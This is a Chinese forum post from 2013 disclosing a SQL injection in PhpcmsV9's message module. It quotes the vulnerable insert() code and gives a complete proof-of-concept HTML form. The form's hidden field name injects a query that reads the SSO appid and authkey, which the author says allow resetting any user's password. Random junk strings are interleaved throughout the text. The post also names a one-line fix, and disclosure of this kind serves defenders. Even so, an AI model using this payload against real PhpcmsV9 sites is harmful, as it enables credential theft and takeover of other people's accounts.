找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:, d  B, n7 o: c3 N

8 E2 ^5 z7 I& g5 u1 \第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
" p  W( W; j9 W: H
8 E; {/ I, Z- Y9 b' U明天再更新下一个漏洞。0 R7 O& I' A# z; k( ]
详细说明:
' N$ M6 S: Y- r( e0 p$ ~在/phpcms9/phpcms/modules/message/index.php中有代码如下:
  |/ c, N; w  a" U
5 t' L0 P" `+ C8 w3 I! J; z$messageid = $this->message_db->insert($_POST['info'],true);/ r, t. @5 u& U  d2 B
: c+ x- M# t" Z! B  N! g3 Y1 V
4 Q% S1 W0 v7 p" U" b/ _9 H* z* h
insert方法是key value的,代码如下:
# I; ~1 R  E' w) g
; v* C" _. U+ @public function insert($data, $table, $return_insert_id = false, $replace = false) {
! [& t7 x6 M) R1 M                if(!is_array( $data ) || $table == '' || count($data) == 0) {
( U' w) F9 |; q" i% }                        return false;
4 _' V# `# e9 x0 b, r8 _9 @0 n, d! L- R                }" W: u* g, O8 V/ b: s9 q
                $ U& S: p/ h3 J% R& C0 E! `
                $fielddata = array_keys($data);
3 k) e$ i3 s- C; N' e7 z                $valuedata = array_values($data);
& H7 Z" Q' q4 i( `                array_walk($fielddata, array($this, 'add_special_char'));
* R- v/ \# ~( \  K' D! ^                array_walk($valuedata, array($this, 'escape_string'));
- b- B4 B, T; s+ {               
9 L% y; r8 @# t  w                $field = implode (',', $fielddata);. u0 ^, T4 a0 v8 Z  R
                $value = implode (',', $valuedata);
8 ?# b) I4 x* \- s1 D& m7 y7 A; E/ f
2 }2 L! X3 `: F                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
' k! @8 w& z* J! v9 e3 R4 G                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
6 a  R2 R$ T& v3 k                $return = $this->execute($sql);" e. h( Y3 e3 `" D( `9 o
                return $return_insert_id ? $this->insert_id() : $return;+ q2 o1 V2 F6 }
        }
+ x$ b# u! i+ }
" S. m9 p6 z4 U; F; l. L" @* G, L5 j3 G# Y+ \  c, s
嗯,很遗憾的是1 `- ?9 j( U% U5 |4 f% t2 C) N- C

7 C+ X; ~( b' y% f7 H* N( r4 uarray_walk($fielddata, array($this, 'add_special_char'));
( k: H8 }' V$ c* p  g2 m0 e% z9 V* j  B
% e1 d! o1 q3 M  C. m* Q% v5 Z. l/ F3 V" o
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
1 Q  x5 G/ Q9 o/ d$ P# P. @# P& z4 L9 ]
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
5 ]) |" R: n- T3 d3 l9 g% s& e5 Y4 ?. B- j
漏洞证明:
; t& y2 G, K$ w读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
6 |. y! p* A/ S5 j$ I9 x) \# e
$ p- @( o8 ?7 ~  f" c& n4 s8 ?: [% b- K
表单如下:用户名什么的得自己改一改。9 M# |- y; }8 p* Q
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
- n, `# G" s. {! x* }9 |2 ?<table width="100%" cellspacing="0" class="table_form">
0 B- M; t' u! m  w( l<tr>
' c5 l7 s, V3 l) I; }5 P( K<th>标 题:</th>
& o2 ?. e% r% Z% {<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
- c: y" V6 ~6 y1 [1 m+ h</tr>
+ S) R' m# y$ u3 O+ }2 I, ~2 l4 C<tr>- D& B! P, K7 h# O' N
<th>内 容:</th>
/ p; j6 w8 B( x/ Y8 Z' a4 ]# @6 d+ v<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
; g1 q: b+ |: F</tr>
* `$ k/ z* p2 ~( ~<input type="hidden" name="info[replyid]" value="2" />
+ U9 _7 B$ B  U3 j/ F; ]<input type="hidden" name="info[send_to_id]" value="cc" />
$ R/ t: q1 |' W% \  s% c<input type="hidden" name="info[send_from_id]" value="hh">9 h2 U' ?: j3 \. `" a; D3 {
<!-- 漏洞的利用重点在这里开始 -->
' L* o5 j0 o: c3 c3 f# n4 j<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
( U9 ?7 o2 I4 c& w# t# E( {6 S<!-- 漏洞的利用重点在这里结束 -->
! b9 h) P& ?% c: ]2 \<tr>
8 q- f( w9 q. o' [. Q, [<th>验证码:</th>
! U% t  L- P8 x! H  h<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* J# ?4 V+ t1 ?# f& J& _, u- R4 m7 S8 I. n</tr>9 U8 ^6 o+ z/ q6 S
<tr>
% h- j9 M8 `: e2 S<td></td>
. ~# N; T( z$ K2 ]* }) c/ U1 [<td colspan="2"><label>
: E2 f- W7 k! _$ F) N<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
* _9 }/ a7 k- g1 X2 A6 A</label></td>
( N/ ^& ?* m6 j1 E8 c</tr>
, K4 b5 H1 g5 ?3 O1 p6 P</table>
/ g6 E& p4 D( a9 E</form>0 ~5 x9 C0 E: A6 a# f- W
在add_special_char函数内对key做过滤就可以了。/ l8 C+ ~3 ^) M- A
+ k2 g) V3 a6 p3 ]6 L; o1 L
3 l0 r6 m  |" y& }

3 z7 B1 c- o, j6 r; f7 ]7 C4 y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表